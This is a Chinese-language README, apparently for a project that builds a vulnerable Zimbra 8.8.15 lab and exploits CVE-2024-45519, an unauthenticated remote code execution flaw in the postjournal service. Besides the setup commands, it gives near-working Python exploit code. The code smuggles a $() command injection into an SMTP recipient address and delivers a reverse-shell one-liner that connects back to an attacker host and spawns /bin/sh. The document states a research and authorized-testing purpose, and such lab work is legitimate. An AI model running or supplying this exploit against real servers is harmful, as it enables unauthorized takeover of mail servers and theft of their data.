Zimbra CVE-2024-45519 - Postjournal 漏洞利用与实验环境搭建 :hammer_and_wrench:
[图片上传失败...(image-c8dabf-1777241012632)]
项目描述 :warning:
CVE-2024-45519 是一个存在于 Zimbra Collaboration (ZCS) 中的高危远程代码执行漏洞。该漏洞允许未经身份验证的攻击者通过 postjournal 服务在目标服务器上执行任意命令。本项目旨在帮助安全研究人员在合法的实验环境中(如 Ubuntu 20.04.6 LTS)快速部署存在漏洞的 Zimbra 版本,并提供清晰的漏洞复现和利用步骤。
功能特性
- 靶场环境一键搭建:提供从下载、安装到配置 Zimbra 8.8.15 的详细命令行步骤。
-
漏洞复现指导:明确指出需替换的
postjournal二进制文件及服务启用方法。 - 利用脚本演示:展示如何使用概念验证(PoC)脚本对目标进行攻击并获取反弹 Shell。
- 兼容性说明:清晰列出所有受影响的 Zimbra 版本(Joule, Kepler, Daffodil)。
受影响版本 :bug:
- Joule: 版本 8.8.15
- Kepler: 版本 9.0.0
- Daffodil: 10.0.x 系列中 10.0.9 之前的版本
- Daffodil: 版本 10.1.0
安装指南 :desktop_computer:
请在干净的 Ubuntu 20.04.6 LTS (Focal Fossa) 环境或虚拟机中执行以下操作。
-
获取 root 权限并下载安装包
sudo su wget https://files.zimbra.com/downloads/8.8.15_GA/zcs-NETWORK-8.8.15_GA_4177.UBUNTU20_64.20211112014220.tgz tar -xvzf zcs-NETWORK-8.8.15_GA_4177.UBUNTU20_64.20211112014220.tgz cd zcs-NETWORK-8.8.15_GA_4177.UBUNTU20_64.20211112014220 -
配置主机名
hostnamectl set-hostname zimbra.labo 安装 Zimbra
请参考官方单服务器安装指南:Zimbra 安装文档。
安装过程中,当被询问是否使用 Zimbra 软件包仓库时,请选择 Yes。-
替换存在漏洞的
postjournal二进制文件
终止现有进程并从软件包中解压出存在漏洞的二进制文件进行覆盖。sudo pkill postjournal dpkg-deb -x packages/zimbra-core_8.8.15.GA.4177.UBUNTU20.64_amd64.deb /tmp/zimbra-core sudo cp /tmp/zimbra-core/opt/zimbra/libexec/postjournal /opt/zimbra/libexec/postjournal -
启用并重启 Zimbra 服务
切换到zimbra用户,启用配置并重启服务。sudo su - zimbra zmlocalconfig -e postjournal_enabled=true zmcontrol restart
使用说明 :rocket:
完成上述环境搭建后,可以使用漏洞利用脚本对目标进行测试。
基础利用步骤
准备攻击机:确保攻击机(Attacker)与目标 Zimbra 服务器(Target)网络可达,并监听用于接收反弹 Shell 的端口。
-
执行利用脚本
假设使用名为exploit.py的 PoC 脚本,参数示例如下:python exploit.py <target-ip> -lh <attacker-ip> -lp <attacker-port> -p <smtp-port>-
<target-ip>: 目标 Zimbra 服务器的 IP 地址。 -
-lh: 攻击机的 IP 地址。 -
-lp: 攻击机上用于接收反向连接的端口。 -
-p: Zimbra 的 SMTP 服务端口(通常为 25 或 587)。
-
获取 Shell
如果利用成功,攻击机将在指定监听端口上收到来自 Zimbra 服务器的反向 Shell。:party_popper:
典型使用场景
- 安全团队在内部隔离环境中进行漏洞验证。
- 渗透测试人员合法授权的目标系统安全性评估。
- 研究人员对 CVE-2024-45519 漏洞原理和利用链的学习。
核心代码
以下是漏洞利用脚本 exploit.py 的核心功能示意(仅为示例逻辑,非完整攻击代码)。
1. 发送恶意邮件载荷
import smtplib
from email.mime.text import MIMEText
def send_payload(target_ip, smtp_port, command):
"""
通过SMTP协议向目标Zimbra服务器发送包含恶意命令的邮件。
该漏洞利用postjournal服务对邮件地址格式的处理不当进行RCE。
"""
# 构造包含命令注入的收件人地址
malicious_recipient = f'"aabbb\\n\\ncc $({command}) \\n\\ndddd"@example.com'
# 创建最简单的邮件内容
msg = MIMEText("test", "plain")
msg["From"] = "sender@attacker.com"
msg["To"] = malicious_recipient
msg["Subject"] = "CVE-2024-45519 Exploit"
try:
# 连接到目标的SMTP端口
server = smtplib.SMTP(target_ip, smtp_port)
server.sendmail("sender@attacker.com", [malicious_recipient], msg.as_string())
server.quit()
print(f"[+] Payload sent successfully. Command: {command}")
except Exception as e:
print(f"[-] Failed to send payload: {e}")
2. 反弹 Shell 处理模块
import socket
import subprocess
import os
def reverse_shell(attacker_ip, attacker_port):
"""
在目标主机上执行的反弹Shell代码段。
该代码通过建立TCP连接,将输入输出重定向到攻击者终端。
"""
try:
# 创建一个TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接到攻击者的监听地址和端口
sock.connect((attacker_ip, attacker_port))
# 将标准输入、输出、错误重定向到socket
os.dup2(sock.fileno(), 0) # stdin
os.dup2(sock.fileno(), 1) # stdout
os.dup2(sock.fileno(), 2) # stderr
# 启动一个交互式Shell
subprocess.call(["/bin/sh", "-i"])
except Exception as e:
print(f"Shell connection error: {e}")
# 该函数通常在攻击者服务器上被编码并通过命令注入执行
# 例如: reverse_shell("192.168.1.100", 4444)
3. 主控制逻辑
import sys
def main():
if len(sys.argv) < 6:
print("Usage: python exploit.py <target> -lh <attacker-ip> -lp <attacker-port> -p <smtp-port>")
sys.exit(1)
target_ip = sys.argv[1]
# 简化的参数解析逻辑
args = dict(zip(sys.argv[2::2], sys.argv[3::2]))
attacker_ip = args.get('-lh')
attacker_port = args.get('-lp')
smtp_port = args.get('-p')
# 构造反弹Shell的命令字符串
shell_command = f"python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{attacker_ip}\",{attacker_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"]);'"
print(f"[*] Targeting {target_ip}:{smtp_port}")
print(f"[*] Will send back to {attacker_ip}:{attacker_port}")
# 发送包含反弹Shell命令的利用载荷
send_payload(target_ip, int(smtp_port), shell_command)
if __name__ == "__main__":
main()
免责声明 :warning:
本指南和所包含的漏洞利用信息仅供教育和合法的安全研究使用。 使用者必须在获得明确授权的情况下,在隔离的、合法的测试环境中进行复现。严禁对未授权的系统进行探测、攻击或任何形式的非法活动。作者和贡献者不对任何因滥用本项目信息而造成的直接或间接损害负责。
6HFtX5dABrKlqXeO5PUv/0APU4bASEHUgsFz2/wVQho=